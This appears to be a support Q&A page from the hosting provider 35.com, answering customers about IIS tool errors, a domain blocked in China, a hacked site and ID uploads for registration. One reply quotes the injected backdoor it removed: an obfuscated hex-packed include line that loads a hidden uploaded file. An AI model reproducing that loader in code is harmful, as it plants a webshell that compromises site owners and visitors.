問：Windows系統服務器，安裝了IIS，但是打開網站管理助手報錯及退出,系統服務器安裝了但是打開網站管理助手報錯及退出
答：您好，我司管理助手 運行平臺：Win位)、Win2008/Win2012/win2016/win位) 。
問：這個域名已經解析綁定了，但是打不開網站
答：您好，查看到對應的站點上的域名在國內無法訪問，國外訪問正常，原因是被qfw國家防火墻墻了，攔截了訪問導致。gfw域名攔截，無法申訴。被墻域名測試https://cq5999.com/
當前查看到您對應的網站內容是正常的企業網站，建議升級到國內空間，在我司備案中心beian.35.com中提交域名備案，備案完成后使用國內空間進行訪問。
如果需要使用港臺主機，請更換使用新的域名進行訪問。
非常感謝您長期對我司的支持!
問：購買頁面被修改為色情網站，
答：您好，經過對程序代碼的斷點測試核實到掛馬如圖所示 @INCLUDE_ONCE(PACK(\’H*\’,\’696dfc742f75706c6f61642fc742e6a7067\’)); 當前注釋掉相關代碼后恢復正常訪問了；
我司在服務器上安裝了360文檔衛士 ，用來監控php文件的改動情況，請您本地不要刪除，不要停止此軟件 ，后期可通過監控php的運行情況定位后門程序 ；
另，我司建議您本地安裝云鎖，help.yunsuo.com.cn ，以提高服務器安全 ，并對相關站點設置讀寫限制 ,非常感謝您長期對我司的支持!
問：網站又無法打開了，請查看
答：您好，根據提示，存在調用組件失敗問題，詳見附圖，請核實您本地是否做過調整，之前我司在清除掛馬后站點是可正常訪問的，請您本地再進一步核實 ，若您需要協助，請提交正確類型工單 ：【主機租用 vps、云主機】 -> 【站點設置】 -> 【網站無法訪問/打開異常】，以便我司對您的程序問題進一步核實 ,非常感謝您長期對我司的支持!
問：您好，你們這個軟件是什么垃圾，？上傳法人反面后 就空白了，然后多次弄也不行 現在說8分鐘后再試？
答：您好，給您帶去不便了；根據您之前提交工單反饋，法人身份證是已拍攝的，需選擇相冊提交，若有法人拍攝的身份證圖片，請將正反面提交至工單中，為您核實是否符合要求；
非常感謝您長期對我司的支持.由此給您帶來的不便之處,敬請原諒!謝謝!
問：您好，
答：您好，查看提供的法人身份證不完整，邊框有剪切；請重新提供完整、清晰、平整的拍攝件，以便協助您通過小程序上傳；
非常感謝您長期對我司的支持.由此給您帶來的不便之處,敬請原諒!謝謝!
三五互聯（35.com）是經工信部、ICANN、CNNIC認證審批，持有ISP、云牌照、IDC、CDN、頂級域名注冊商等全業務資質的正規老牌服務商，自成立至今20余年專注于域名注冊、虛擬主機、云服務器、企業郵箱、企業建站等互聯網基礎服務！
截止目前，已經為超過2000萬個域名提供了注冊、解析等服務，是中國五星級域名注冊注冊商！已為超過50萬個網站提供了高速穩定的云托管服務，獲評中國最受用戶喜歡云主機服務商。
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